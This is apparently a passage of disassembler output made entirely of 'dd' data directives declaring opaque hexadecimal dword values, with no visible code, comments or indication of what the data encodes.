		dd 43E85D05h, 50D9FEE4h, 0AA85657Bh, 413B6AD8h,	0D0AC3B3Ah
		dd 9334ABC4h, 9CB9FE31h, 0D6752E3Bh, 188C4BBAh,	6E483E5Ch
		dd 182FF60Ah, 8E84D6C9h, 6CAB1A4Fh, 0F87CB0DDh,	0EB33C02Eh
		dd 45360E2Fh, 3204ABFh,	9DE8708h, 7A266869h, 9C28C1FBh
		dd 0C4D0501h, 1F38162h,	88040DBDh, 0FB4ED61Dh, 12071C10h
		dd 0DAB0D3E9h, 0C1833F59h, 0BCCB8796h, 229F406Fh, 2F9E4D16h
		dd 5D059C09h, 17C9EFA0h, 4840C33Ah, 89BB09CBh, 0C0DD090Bh
		dd 2C73DCDEh, 2D4E4FB0h, 9BB8EB60h, 7A4E6CEAh, 35853FFh
		dd 1A1FC7Fh, 252BEDADh,	0DC84290h, 0A83A4EE9h, 48B5B4D7h
		dd 614EF260h, 0EE80C172h, 0E362E41Bh, 0AD3EC89Dh, 8D748265h
		dd 0EE17A92Ch, 563FC1A8h, 0FFFCF392h, 0CCF153DDh, 9BF9064h
		dd 63F772A8h, 81766670h, 201E4B0Bh, 0E1098040h,	0B50B655Ch
		dd 0EDEFFF48h, 3175EE17h, 0E90BF9A8h, 0CCF63A3Dh, 0C330CF8Ch
		dd 38990BF2h, 9F001D83h, 67397DEDh, 0F3BEE911h,	0A821BA62h
		dd 9EC67340h, 0B5B9B380h, 5525B574h, 0C811996Bh, 0CD25E16Ch
		dd 0B201C7B2h, 0D0D84D4Bh, 0F9B7A5E9h, 9B420CFAh, 81015E0Ch
		dd 9C4FA7F6h, 882B3190h, 284B1DA4h, 9368D2B5h, 9CC2FEA4h
		dd 348BF5DCh, 4F56E1BAh, 0A5A27ECBh, 0BBAA388h,	100EEFDh
		dd 66184A84h, 4AC36DAh,	78FF5808h, 3730E972h, 24549F79h
		dd 755A750Ch, 0FC085044h, 2D69BCABh, 9DDB1CFFh,	5785BB48h
		dd 77FF10C2h, 60374A28h, 9DFC06D7h, 0B91226E6h,	36C3943Bh
		dd 0BF0D4DBDh, 45575625h, 0F95469DAh, 20088280h, 599AE932h
		dd 5612CC12h, 172A311h,	5E2C0AAh, 823BEAD0h, 78C2FCB5h
		dd 0BA630DDEh, 68650A02h, 430D4DDDh, 41FA2013h,	2DBD7BDFh
		dd 100BF76Ah, 5C699BF9h, 665DD29Bh, 10FD2066h, 28D9B30Bh
		dd 0FAAE04D3h, 166C0590h, 510025Dh, 38820DFh, 8362C17Fh
		dd 0F501407Eh, 0C9D867E4h, 0CDEE0928h, 4DF2E605h, 0A50069B8h
		dd 97D7F622h, 5BE0BD89h, 722578EFh, 3855596h, 0E90802C7h
		dd 0ACE8AD86h, 1A952691h, 5F690641h, 12D01AF4h,	5B8160B3h
		dd 61673654h, 81CA0CCh,	5E708298h, 5A77D49Dh, 0BAADF00h
		dd 0F19570CDh, 1E2997DCh, 123DE6D9h, 1636A924h,	0A91746h
		dd 27CAA710h, 0AD7ADEB9h, 0F52036D8h, 354001B8h, 1CA40A9Ch
		dd 20B93F89h, 0CED82B89h, 58E4F1B7h, 87B7B2E9h,	44F45892h
		dd 4EA1CEFAh, 0A76D64AEh, 2BDE60FBh, 0A075E33Eh, 3FF9A298h
		dd 52DEFD30h, 5308470Bh, 157CF354h, 0CFB3EB3Eh,	607B84FCh
		dd 0F1818919h, 152E7699h, 66028A6Bh, 2141F64Ch,	0BAEDE6E9h
		dd 3E180129h, 0E5C14BF8h, 13DD0770h, 953164E9h,	0ADC2AB09h
		dd 0C3F1F594h, 101E838Ch, 46CD2E80h, 913213C1h,	39250928h
		dd 45247D4Ch, 0C5070759h, 0BE0C65E0h, 0EF24B513h, 4037F901h
		dd 694170E0h, 0ECBC8915h, 0D6B9297Bh, 7B1002D9h, 5E63167Ah
		dd 0D1F029EFh, 5758D19Ch, 67D49C54h, 0EE493468h, 7651B0CBh
		dd 7F45F52Fh, 7DAE8C82h, 2A791709h, 0E681529Eh,	3076F280h
		dd 5F12AE3Bh, 0F023120Bh, 0B5645CE5h, 6809C258h, 2564476Dh
		dd 930F2025h, 0A68CC102h, 0A1EE6181h, 0EC2A8765h, 6AD3553Ch
		dd 9CC3B4C4h, 0E0B79B2Dh, 17BDAC05h, 0BB211639h, 6C8BCD41h
		dd 28831D7Eh, 0E3E43829h, 0AF553CA6h, 0DCA02BAFh, 6C676BD8h
		dd 83A68B7Bh, 5251D503h, 58C2B025h, 71F8303Ch, 55DCF18h
		dd 6801393Bh, 1C34081Ch, 41581414h, 5F46A20h, 0D96260A7h
		dd 34046FF1h, 2E305C7Bh, 0E7C5177Eh, 333E2784h,	20296641h
		dd 7440A5C9h, 66CF1C30h, 0A2FA1359h, 132CC0EBh,	9504D028h
		dd 542F9EE0h, 6ED248B7h, 0EB65CBF0h, 0BDFDC4DDh, 0E90909DCh
		dd 0FD0EA9EAh, 18B452C0h, 9265153Eh, 0FDCD415Ah, 583027F4h
		dd 800989E7h, 0EFF03F7h, 0F0EFC776h, 65FFF8D5h,	77040F41h
		dd 0CB9EBEAh, 0BC0C3EB5h, 8E30D4BDh, 0B7CA65BFh, 0EB742D95h
		dd 0A4C49112h, 0E2B6E8BAh, 5F8D3h, 203B2D5Fh, 0BB533E87h
		dd 0E37D7409h, 1795F30h, 0D5940A20h, 0D66C07C2h, 1127EBACh
		dd 2ECBF355h, 61971E77h, 316A2BF0h, 80272969h, 647EC39Fh
		dd 0BF21F1AAh, 0CC1CE25Eh, 8CC0C816h, 59D628C9h, 0EF281232h
		dd 0F25A4A08h, 0B1D9C58Ch, 68E02BE8h, 0BBC446ADh, 5600FBFCh
		dd 0ED7DA2BEh, 0CE816301h, 15D40E84h, 7D3C1571h, 96F75E2Fh
		dd 0E13FF256h, 0C38BB86Eh, 0F3F78957h, 4DDF61Fh, 0C59114EFh
		dd 401DA166h, 0AD6FDFA5h, 251474BDh, 250B10A8h,	7B93A9D7h
		dd 0B8866C19h, 6C7E2A00h, 6E0C12Fh, 0C8550405h,	0BF314FB6h
		dd 7881CED8h, 0BD2B03E3h, 8EBC177h, 1C7D7206h, 0F0C51C6h
		dd 66986DCDh, 1E67C09Fh, 0D901B865h, 0E99FA3A5h, 0BE205F93h
		dd 4D8927E0h, 8D10EA31h, 4C012711h, 4D457EA3h, 74797887h
		dd 7B2C0E8h, 6974330Dh,	203D1F5Ch, 0D3870D35h, 0D908D2F7h
		dd 1AA82FDAh, 0E9C2FAD1h, 0F97FF04Ch, 0D1B3605Fh, 789DC3FEh
		dd 90CBEA22h, 28B07099h, 0BF68E9D8h, 0C1B44F24h, 14CF122Eh
		dd 116F87FBh, 0E22CC746h, 48004150h, 567FA46Fh,	923CF2E9h
		dd 0D0F7019Fh, 1323390Dh, 0A30EA841h, 4D201800h, 0F3814B4Fh
		dd 0F4363D1Bh, 8051E90Ch, 6C13BD38h, 1C0FEB06h,	618E7A49h
		dd 3468DD45h, 0DABFB25Bh, 61D45D08h, 2017C4DAh,	312FF97Fh
		dd 5FC799F8h, 44EFD83Ah, 0E5E17241h, 0D07B8361h, 1B92C273h
		dd 926AEC3Dh, 70EE901Eh, 14DBE6Dh, 9B68A424h, 1F3CC302h
		dd 5AF8E044h, 45252533h, 514B4CFEh, 63013B6Ch, 686B4D82h
		dd 0CCBC3F39h, 0ED7A96C1h, 2BEEC531h, 0F6C0ADB2h, 0AD55A2Eh
		dd 47C566C1h, 6F601A7Bh, 2C33783Dh, 184E20h, 284D11A4h
		dd 0A9DD9F7h, 0B9264D3Dh, 0DFC52516h, 307F65B7h, 0EFA3A199h
		dd 0CA2C0798h, 5318D304h, 72A3A52h, 0C1410ECEh,	5898FEE1h
		dd 0DF0B1A19h, 701DE963h, 0E8554F94h, 0DAE9E05Dh, 40B1B6EDh
		dd 28CF3F94h, 14688162h, 57E0FDA8h, 553E0E7Bh, 2FE20235h
		dd 80120275h, 0BE66C7C5h, 1D41BFECh, 75EC3B21h,	0A413CBB1h
		dd 8C09417Bh, 0A8B07736h, 0F2834F8Dh, 0A7285C22h, 0EC050C56h
		dd 0D601520Fh, 2E7E0DEBh, 1792FD2Fh, 30AA3114h,	2773EA14h
		dd 9A626830h, 69E42C10h, 6FDE1836h, 6090E989h, 1870BB22h
		dd 66343738h, 57EC5528h, 0DD470DC0h, 4DA4E949h,	7A12CE14h
		dd 0AED18D3Dh, 0EF9E35D2h, 0F6379FC7h, 58B5EBB3h, 0A200516h
		dd 9B360297h, 9A270BF3h, 0C89C92F1h, 0EB885301h, 0CB8DB8E0h
		dd 0E9DDC6F9h, 47A49644h, 5BDD0FC5h, 72773A29h,	46F1EF40h
		dd 0F604E976h, 0FF2CA430h, 0BBE996D0h, 89659738h, 1D45408h
		dd 0AB0FD3B9h, 0D70B3022h, 9C310DC9h, 258E9CAEh, 2522E775h
		dd 1E587456h, 0E7CB9ECh, 71ED4F28h, 45EDE1C8h, 0E93A0108h
		dd 0F0560809h, 0F09F62F2h, 0BF573F1Fh, 20481639h, 4A7ACE18h
		dd 4A9F2DADh, 4B698037h, 902B7B37h, 4360985h, 27F1FFCh
		dd 63130316h, 8AC1B879h, 21D22D45h, 0DB927474h,	0E3D35887h
		dd 33480707h, 0E41A2111h, 3B50F894h, 169E1850h,	3C07ED29h
		dd 0D0FF581h, 15C648A8h, 0F63DDD4Ah, 27AF96D7h,	0C16D7ACh
		dd 0D852FF5Eh, 72F0CE20h, 0EE0A6910h, 3D29D411h, 91812222h
		dd 0BFE906E9h, 0E5055F8Eh, 1E694527h, 0AB0A301h, 8C9F1A60h
		dd 0BF30C0Dh, 1E092918h, 90894E53h, 9C5FE950h, 0DC1817Dh
		dd 214FDB59h, 46A2F7D3h, 0FEC84CF5h, 24517D52h,	838F915Bh
		dd 6B1057B8h, 8EE9D8D2h
		dd 6214E168h, 9DCA20B3h, 44D12F7Fh, 99FD26A6h, 0A8F6BF13h
		dd 70F7F20Eh, 0B47F9D40h, 9F575A42h, 0A7E4684Bh, 509C71Eh
		dd 0A027D022h, 0BE0B3F6h, 0D5898EE1h, 5992165Dh, 0A34FE6F7h
		dd 2AAED204h, 0E98D61B1h, 0AC2B7D26h, 4F8AC403h, 0A6C5B3E8h
		dd 3936017Fh, 60E807F0h, 3C0BBE35h, 7D2962BDh, 2F083A08h
		dd 0E9096FF4h, 0B5C2F097h, 0D6428FF1h, 0E2E55F24h, 36B0123Eh
		dd 259E32E8h, 5F5FA4D2h, 0DAAEA844h, 0B64131BEh, 0D80B044Dh
		dd 7D7829D9h, 0B12FBEB4h, 0FFE7211Fh, 43203F1Dh, 305598E2h
		dd 0F70C4EC8h, 1C507B7Ah, 0BB3E8AC3h, 0D0299317h, 0A0E7381Eh
		dd 427DB1C3h, 9CDEC5Eh,	5D131AF9h, 359207Fh, 10A004C0h
		dd 25463FE9h, 2721D55Eh, 70AB7984h, 8B97694Ah, 2DBF653Eh
		dd 4A30CB78h, 6AB50E38h, 66E82C08h, 68026048h, 0D4A67098h
		dd 806BB700h, 0B05076EFh, 8DF6973Ah, 0A4D15A96h, 0B20441C2h
		dd 0CA2D009Bh, 172C178h, 70550C8h, 0C0831259h, 97D2B202h
		dd 25E586ECh, 0DCDC811Fh, 9FE22B42h, 9557E327h,	0C4B3201h
		dd 469B779h, 0F600B254h, 0E6B450D3h, 55E3302Dh,	0BB75E12Bh
		dd 0D5AFEAF3h, 6B788669h, 0A10B2AB6h, 0CA5EE473h, 0A4467903h
		dd 3DC28D49h, 849882E9h, 4EB900E1h, 2F585A61h, 93413F44h
		dd 0F0F272F1h, 0ABAA174Eh, 2768BE28h, 0AD46111Fh, 0A5726321h
		dd 0F807615Eh, 0FD555A0Bh, 0B35BE6F8h, 3C87109Ch, 3806E815h
		dd 0C5734B78h, 74F0EEA3h, 5AEDFEFEh, 4EC6A8B8h,	2C9E4CC0h
		dd 657A48E0h, 28341F71h, 0F6BE426Ch, 0D8570521h, 0FD895A99h
		dd 0F5DE9EE5h, 562DEAE4h, 95E98552h, 4130FAA0h,	0E03943DAh
		dd 411EA35h, 0DE90B3Eh,	6D32EBDEh, 0BD28D0EAh, 1952CDF1h
		dd 0DA3153F2h, 0BA0069F9h, 8D2E63CEh, 1400DE71h, 0F76C6764h
		dd 59D2C2DAh, 71E0E602h, 3FE075F2h, 740C2060h, 18011345h
		dd 0F05AD389h, 5550054Ah, 369A8CDBh, 0A915559Dh, 2116B521h
		dd 0E0EE2152h, 65E2384h, 66F211E8h, 6F56DA5Dh, 897D290Fh
		dd 4CF75791h, 7D93825Ah, 5C5A6EB6h, 0E9B0E1BCh,	4CC2988Dh
		dd 0F259C821h, 47302CC1h, 0DAE95050h, 0BEB63A4Fh, 3F46E410h
		dd 548A553h, 2B8B5402h,	0A3C25A76h, 0C9819769h,	312F35EAh
		dd 6F0C68AAh, 38AA4912h, 0F62D5C72h, 62D95EF1h,	51FF645Ah
		dd 571C2E0h, 199FBB00h,	81600114h, 673CBCE3h, 0C0CBD82Bh
		dd 64FB2018h, 3041AB0Ch, 77194244h, 0B4C20CDBh,	0E3043BF5h
		dd 5F09A6Eh, 90E3B258h,	0DD312961h, 0F105320Ah,	0E383096Fh
		dd 42FEDC30h, 4D0E68CDh, 7A9D256Ch, 0BB014B72h,	402066C8h
		dd 0B307534Fh, 2ACB80A8h, 0CBEC92B5h, 0BD7BF2Dh, 0C9820EEh
		dd 3DF42799h, 106F2942h, 4B0C6C8Ah, 0D24D8BF9h,	4110CD34h
		dd 0E9E17B4Ah, 68F3D83Ah, 0BAA9194Fh, 0FD09DB13h, 0DDAF1342h
		dd 0B5C4C5F8h, 95FDAAA4h, 0D25DADD3h, 0F7A638ABh, 2068E109h
		dd 6834777Eh, 4C685001h, 5827CF17h, 91D357DEh, 53E9083Dh
		dd 8C571D78h, 0B80C7C40h, 3516C503h, 125F5046h,	0CC179526h
		dd 72B157B9h, 7E5C4C09h, 0AFD8E997h, 20FC475Eh,	0AFFD13B5h
		dd 6805984h, 925B9AE9h,	0F4D0B3Fh, 98FD47E2h, 0E06C34Ah
		dd 0E905347Fh, 0C3D20C2Bh, 96DC8FBh, 5D153613h,	30BC8DFAh
		dd 904B99E1h, 0BBC420EBh, 0F20132F1h, 0E9FB8725h, 8DFF9C56h
		dd 0CCD8B3AAh, 25E96FC0h, 9DD90ADDh, 64765A82h,	7FE44A41h
		dd 0D17FE909h, 8306C974h, 0EE253FAFh, 2546D410h, 97E2165Fh
		dd 5F4BC0F1h, 0B8D71289h, 316859DEh, 0E06102B9h, 575F0238h
		dd 812F7794h, 0DEA2DDEBh, 0EC5FF50Eh, 0EB94BBD1h, 378110D5h
		dd 2E5B81C6h, 0D21044A6h, 0ACBF00E5h, 0BA6ACE6Eh, 6C0513D4h
		dd 0C15F43FBh, 62E03E2h, 0FD02ED06h, 5D6497C6h,	2AE9F4E1h
		dd 0B00147ACh, 0FE832C6Bh, 0F48AD1C0h, 2E9119A1h, 0D046F504h
		dd 1B3C3EB8h, 1169C93h,	8E04F09Bh, 8609026h, 0B874127Bh
		dd 4056C162h, 568C6BD7h, 0A66D4EDEh, 27BC1009h,	5AE954C1h
		dd 0F3FFC240h, 85FFAD84h, 2EAB5F6Ah, 5D540B7Eh,	0FD45DF52h
		dd 26A90212h, 1C15D684h, 191CEB12h, 0F227666Dh,	0BD37407Eh
		dd 1B5F060Bh, 25FD5E29h, 9FF88E2h, 7977DEDh, 5524EDA0h
		dd 0B908F95Fh, 0BEB2019Bh, 7B07E2C0h, 1CCF8ABCh, 0E903027Eh
		dd 1357A58Ah, 0DB70C11Ah, 385B982Fh, 2568DE40h,	0ED6652C3h
		dd 0BB8549Fh, 0D321F6E9h, 2120C380h, 0A0E68FEh,	1A1D6068h
		dd 0BDC895BEh, 33B58DCh, 43039E68h, 0CF9E94Eh, 8D081A94h
		dd 56829776h, 2FDD130h,	0DFDBAE9Eh, 87A803B0h, 9F18180h
		dd 4FBD176Ch, 0AF3CF75Ch, 719BFF44h, 0DA7203A2h, 2C42054Bh
		dd 0E6C86C4Eh, 82E65AB7h, 4DF75C48h, 229D1F03h,	1BE3DA8h
		dd 190F595h, 1C483C3Fh,	0A29A27ADh, 0DC5EB119h,	0C7BD626Eh
		dd 2DAA8804h, 52E02F57h, 73B21D52h, 0B2B61450h,	80A09314h
		dd 2F5D1FDEh, 574407ABh, 4422EF04h, 94EE5584h, 8B080D46h
		dd 15563B39h, 38E1FF01h, 0B92051B6h, 0DE3C2D0Fh, 64F46B40h
		dd 5E83722Fh, 5BE9C7B3h, 15776AFh, 6539190Dh, 6A862135h
		dd 0FF55F7ECh, 0F9C661DAh, 3EF6156Eh, 0E1F2F84Fh, 0FC5128E9h
		dd 31C9AD66h, 0C405BE3Bh, 33BFA1DEh, 16A55D06h,	1DC4AE78h
		dd 1A2D8480h, 29760577h, 0AED9E9F3h, 3DBE6B13h,	0AE5A89E1h
		dd 62604865h, 86B75834h, 0A048AF2Fh, 0F6E6A0C6h, 0CEFED71Fh
		dd 0DC491852h, 0E1C2B351h, 0F72B1577h, 0C13817BBh, 17B37F0Eh
		dd 732D30BAh, 607D1D57h, 8DA1885Eh, 0DD3C3C3Eh,	0B55A2840h
		dd 0C20124FCh, 14923C5Eh, 942D05FCh, 0E585933Dh, 0D7133F09h
		dd 5E2E8CEEh, 0C9F5EC2h, 42DFE084h, 60B98031h, 3EA6F8B5h
		dd 8212C889h, 0D3D16105h, 0D69D792Fh, 2D684102h, 0FC159123h
		dd 0BFA3C56Eh, 805A14E6h, 99BD5519h, 77484417h,	0E1E94E05h
		dd 320044D5h, 4D3EB7EAh, 0E4E8A012h, 71B03E26h,	39F7F602h
		dd 0AC58558Dh, 18102AC0h, 9F2902EFh, 0E90420FCh, 0ACB976A4h
		dd 0FA3E8E12h, 0C7FC863Dh, 2C7B91Bh, 602466FEh,	0CFD59489h
		dd 8F452FFFh, 5F80FA89h, 2FEE7C39h, 970C90D6h, 60F59CCAh
		dd 81DB5741h, 0E04DF580h, 8DC13E30h, 5B5636C7h,	22E0F7E6h
		dd 0D1D7B2F4h, 0DBF689BBh, 0C5E817EAh, 7952DD68h, 61AC1047h
		dd 1C9EB94Fh, 0FF2541EEh, 0FAA656E7h, 0C2D45444h, 4CC8CEAAh
		dd 7F21720h, 318B8CB8h,	63840174h, 0BEC18501h, 4000CB8Fh
		dd 39007A2Dh, 7435514Ch, 0D089E18h, 0B803E952h,	0B663C9Fh
		dd 20352B1Bh, 0F22247B1h, 0B71ABD66h, 784A8A64h, 0FB21A703h
		dd 0AF1BC15Fh, 0C3814300h, 7DFA204h, 779D2906h,	841C56AEh
		dd 88FAD7E9h, 431F56F1h, 64BD01C8h, 88AE5F71h, 2C064C29h
		dd 0DAF72E05h, 0B28DB704h, 2DF42A15h, 4FCC90C3h, 53A1C359h
		dd 66473804h, 0A3C13023h, 75C97EC1h, 8170DA70h,	34A96F58h
		dd 0E6E196DFh, 0A3A44EA0h, 3307283Dh, 174F1CFCh, 0F231D6F1h
		dd 0F4FBB457h, 5F0212D3h, 0DAE94255h, 97F85CCDh, 51990972h
		dd 8A075D4h, 0B3E51CD7h, 0ABD35A38h, 0A9B9B649h, 6494D715h
		dd 1A583AC2h, 0F35A5564h, 2A5F0881h, 418844B4h,	7E0B6F16h
		dd 0A440181h, 4B7A59ACh, 8CA017A0h, 0C06BB050h,	2C08E009h
		dd 0FC0BDFA9h, 0C9DE0E5Dh, 534C5E3h, 0C171F380h, 21DE88D7h
		dd 0EAA331ACh, 0D5ACC25Dh, 2C5DB79h, 27BBD8AEh,	2E385EBCh
		dd 5A175AE3h, 7BFA38FBh, 292882EFh, 5659384Ah, 93CCC244h
		dd 0D6013A7Fh, 495E09D3h
		dd 61E0FAC8h, 1E4194Ch,	0D20A90EFh, 0B42A4F15h,	12E28D70h
		dd 2A804D5Eh, 2DE9CA31h, 77D98286h, 83E32F3Ch, 2B805238h
		dd 7DB01A4h, 0D057B551h, 8DE9BBCDh, 60983CB2h, 0B14CD97Eh
		dd 59CE14DAh, 0EE909ABh, 8A1C5D10h, 0B9056384h,	549158AAh
		dd 49C207AAh, 5CB4E41h,	5F94B3F4h, 359D06ACh, 58F24FD3h
		dd 36844CC3h, 0D2C2B683h, 0BF4500EFh, 0FDE9D828h, 0F22F9DFDh
		dd 4CAF1144h, 0BD17A80h, 0BD785A90h, 0AC0841D8h, 84102FFDh
		dd 63720525h, 0EBFF5AF4h, 5B8EABDDh, 179BEE50h,	0FC26D161h
		dd 0B4E9E091h, 3E5B9F6Dh, 89EB5412h, 401D2574h,	0A14635D6h
		dd 0CFAC0E60h, 0BFF15EB9h, 5CE05759h, 0BF032768h, 192F8C18h
		dd 894A4597h, 0BE9A06B9h, 7B5D61C2h, 2ADFCDADh,	74B820FEh
		dd 8796FEFCh, 2412ED62h, 57B2122Ch, 683431D2h, 4BAC2F7Dh
		dd 529ECC0h, 12FE90Bh, 36112148h, 7A9A62h, 6CF9F1BDh, 4DB07B3Fh
		dd 0E631B45Fh, 7FC52634h, 0BDA3C4F4h, 88A5002Ch, 8228F14Ah
		dd 5FC85130h, 0C2182A41h, 0A7DCFC3Fh, 4907EDD2h, 0BBDCEA4Bh
		dd 0D4D69566h, 0B34A64CFh, 0C68240FAh, 54232093h, 7EBD4BB0h
		dd 3C8B095Dh, 961547F5h, 0C76B91D2h, 9B6A5FBh, 0B6677719h
		dd 7040A413h, 4A856855h, 5A587B0Ch, 2D13C0A9h, 0D73D0233h
		dd 351D1674h, 4794EA61h, 0C9055B32h, 0AE2BEC22h, 1308C050h
		dd 524956E9h, 5AE6FC5Bh, 569DB940h, 576D9F0Bh, 53A505Bh
		dd 65A55190h, 0A510FF01h, 59293C08h, 10493A5h, 0A71DF69Fh
		dd 132F4C77h, 0BC59CB68h, 17A4C434h, 1EEE61Fh, 0F3B1B6BBh
		dd 1F887F55h, 9E4259E9h, 9305E74Fh, 0E9828AADh,	3BC425BFh
		dd 23176F09h, 3C6E0543h, 1067CAAFh, 813B3228h, 0B2277D0Bh
		dd 73499E82h, 0E0685800h, 15CAA36h, 0E2497A81h,	0F3C31870h
		dd 0FD3EE769h, 46F5C5Eh, 561E5F58h, 0B040CB5h, 5B34D8FFh
		dd 7DB41ABFh, 633E8EA2h, 1BC04705h, 7CFDB28Ah, 24312682h
		dd 117ACC55h, 0D1F8264Ah, 134D75C4h, 5F645809h,	0D5A7FF59h
		dd 0B50CEB90h, 87BEE7D3h, 8875E161h, 6131606Dh,	1DA36A16h
		dd 0BC0D05AAh, 6626905Ah, 6F74C668h, 0E478DAF3h, 18C330F5h
		dd 0F2BFEF7Fh, 0DB6A30B1h, 8640BD32h, 0C045BA25h, 16A3B898h
		dd 0EB131023h, 0CB359D00h, 0F1727457h, 2FE9E860h, 9BDBD315h
		dd 0D814273Dh, 934CB944h, 7279AC51h, 0E6E9F916h, 58C13321h
		dd 0B3A27Eh, 0F535ACB9h, 9BE561Bh, 31D78D1h, 74CC80F5h
		dd 9FEBFC65h, 0B5803970h, 0A10708D5h, 0E9D1214Dh, 9802A16h
		dd 984A8005h, 742F8EFFh, 24BC5A07h, 885A18B4h, 66093181h
		dd 9634A764h, 0F5877C9h, 7488386Ah, 723BF8F4h, 3ED2F7A8h
		dd 68BE428Fh, 21F92EAFh, 5BF7B981h, 823B029Dh, 0EC42D133h
		dd 0EC002D63h, 4B2F9FBAh, 0E4F2311Eh, 49C0FCD6h, 2825CAC5h
		dd 0B88360F4h, 9A67F780h, 0AF027FEFh, 5F044F32h, 7FB28ABEh
		dd 485F674Dh, 0ED9F0583h, 2AB80CEh, 6AA94241h, 0A67EADFh
		dd 0B7121908h, 0F1CE40FEh, 304951D2h, 0B55E52F6h, 12E413FCh
		dd 75987B7h, 1DA872CCh,	7F932BF5h, 0EA11E585h, 488781E4h
		dd 0B486BD38h, 0C60F2BBFh, 553C0D7Ch, 535B03E9h, 845DB368h
		dd 923AE6FBh, 5A6FFD98h, 988FB9C6h, 80C7C466h, 0B4FF768h
		dd 0EC88E521h, 56E34420h, 0D13EFF51h, 17AD19AEh, 6EEB9D3Ah
		dd 612F503Dh, 0DFDDABh,	243699BEh, 1D5A4E5Ch, 175E8E9Fh
		dd 0D593F6C0h, 0E19D16F4h, 852E1F04h, 9F81F913h, 0BAB24C0Ah
		dd 6E0B81A8h, 78395F38h, 0C378954Ch, 0EC413027h, 422920F9h
		dd 268454Ch, 0F0726FB4h, 397C2931h, 9F18758h, 658D684Eh
		dd 59568818h, 58D95EBFh, 83264810h, 0F416BD37h,	9269C30Ah
		dd 75041F01h, 41DB291Ch, 1CA0081Ch, 275E9014h, 0CED7FF4Ch
		dd 0F39E4F14h, 6DEE4E26h, 8B842ADDh, 9202A3AEh,	6DB58800h
		dd 680131F5h, 0B0828CFh, 697203E9h, 0A1B8C24Eh,	5C8578CEh
		dd 0EABE971Fh, 46E90508h, 8F43ABB0h, 0BCFEFA8Dh, 0B48FE8FAh
		dd 0FEC352BFh, 1250E4F4h, 0F02F2022h, 0D6928747h, 4BDA73B5h
		dd 50E627FAh, 0B37BB00Bh, 7985DD52h, 8DCB058h, 8018C8B0h
		dd 6F24A1EBh, 0CF31D34h, 80401D65h, 28300460h, 880058C3h
		dd 0B5515BDDh, 4BFAE97Dh, 87F0BD45h, 0A4BF295Fh, 0BDAF43F8h
		dd 46BB4A65h, 0F4CAFED4h, 66240E5Bh, 41B6DAB0h,	167C6DC0h
		dd 0DD20183Eh, 90BD50E6h, 3A892746h, 44CF4CD6h,	680243B2h
		dd 0C5DF716Ah, 0CB018051h, 595B2388h, 585A5AE4h, 0FB09F08Bh
		dd 1FD9FEF6h, 0DAF5DD67h, 993206F1h, 1EE9410h, 58E2F381h
		dd 0C815BD9h, 0F10AF9Eh, 0B7C13F31h, 0F36B7B03h, 6BE24161h
		dd 504B1A8h, 81652268h,	412DF012h, 2A575E07h, 4E3DC0D1h
		dd 11640BDh, 848CA8C2h,	2C074215h, 265609E4h, 92EA11E4h
		dd 41560C49h, 0D08AC0CDh, 89DE360Dh, 8D793B0Ch,	47193C8Ch
		dd 0AD524D75h, 498D0F5Ah, 94A14BD0h, 0C9E8F2CDh, 622B950Bh
		dd 0D8C68B90h, 26451004h, 78F0FE01h, 0A61516CFh, 67D0BA79h
		dd 13F566A4h, 0EEDBF705h, 0EBD1B701h, 8284AE9h,	86E5451h
		dd 70256B41h, 266CE411h, 8C50187h, 0FE25494Fh, 0F0464D64h
		dd 2FF91A68h, 0F82C2DFBh, 0C0BC42BBh, 0ADB3962h, 0BEA1E5Fh
		dd 94C6E647h, 0BE3BC820h, 0BEE2858h, 0A5F37D86h, 2831AE57h
		dd 0F7B22FC0h, 0FC03FF5Ch, 352A6C0Fh, 0AB0DF838h, 32036989h
		dd 4E9569A8h, 204E548Dh, 7613CB8Eh, 0E9B916B2h,	1B2F050Eh
		dd 2DA124AEh, 0D13B9730h, 0B41FF4B3h, 894FFBB5h, 3E0AFB01h
		dd 83691719h, 4ED8BE87h, 0F72C65EFh, 0FC021ED6h, 0FC9A10B1h
		dd 0E9ED9250h, 2BF0418Ah, 612E14F1h, 9D5CE8C6h,	57CC56F1h
		dd 0A1580E66h, 57CED3D7h, 17E5627Ch, 8F4BD6FCh,	7AE90DB3h
		dd 0FC2E2336h, 79BBA49Dh, 72C6FE1Eh, 0B590CD20h, 0CF250658h
		dd 0F97C1338h, 207F2FFCh, 8E5D8599h, 5289B496h,	497D2231h
		dd 0EF0105F3h, 0FEDFD2F0h, 12356967h, 35084A08h, 5D57AE0Ch
		dd 5186E761h, 0FC394F89h, 280366C6h, 836CD341h,	9A04E5C3h
		dd 471D1337h, 0BBFEF4B8h, 4AE146D5h, 10E0F95Eh,	244818E8h
		dd 0F983B54Eh, 0C8346FF2h, 0C25FD7AEh, 0D07D7AF4h, 80088273h
		dd 5D72BB2Bh, 9537547h,	3B766579h, 68D5C309h, 0BC7F31Ch
		dd 1D8366Ah, 0C24E88D0h, 60CC9BB2h, 0DF7729B1h,	7161702Eh
		dd 0BD279C41h, 7E2BDACBh, 0F8BA00EFh, 2956B854h, 0D928D04Eh
		dd 0D8E85C01h, 21C6055Bh, 0A03977C1h, 466806E9h, 0F69F4D70h
		dd 795FC24Eh, 0DD515202h, 589D3072h, 40609D53h,	144AEEDFh
		dd 3D3405FEh, 5FCD44DEh, 0DC35EE40h, 109CC2FEh,	6A677F0Bh
		dd 16095792h, 0B90F99Ah, 0B2795968h, 0BE1650ACh, 3023A8D1h
		dd 60FEA87Ah, 0D726C312h, 1DD28CFh, 705620A0h, 0C6B35312h
		dd 0B0B586EEh, 9033E4BDh, 541240CCh, 3AAF584Bh,	0BBE9099Ah
		dd 82964949h, 1BA1264h,	38AF0DEDh, 0D151E281h, 2B2093B5h
		dd 216C2DB1h, 680E50ACh, 0A46534EAh, 4F834858h,	31110FEBh
		dd 80925EF0h, 0AB2B73B7h, 75CB214Eh, 0BD0FEA28h, 0DC557DE2h
		dd 31E904C0h, 413382F7h, 0C69F70DEh, 0C5F9F0Ch,	0E466132Fh
		dd 4DA30907h, 0C6DF9DA9h, 20D392D1h, 0FEFB7F28h, 4BB60FFFh
		dd 31D0603Fh, 415F25F9h, 1093A075h, 0C37DF556h,	64E12B4Ah
		dd 0B25531E2h, 0DF306241h, 0CC7C950h, 7B252DB5h, 1F078780h
		dd 0E97439EDh, 0B05BA9D9h, 7F125AEAh, 0C402165Ch, 42A380AAh
		dd 0ECDC447Ah
		dd 0F2034B8Ah, 0AB1E84F3h, 2C0B0500h, 0A5F409DFh, 5B532E4Dh
		dd 6B1282BCh, 1269F31Ch, 2FB7233Dh, 0D442AB4Bh,	0ECFEF283h
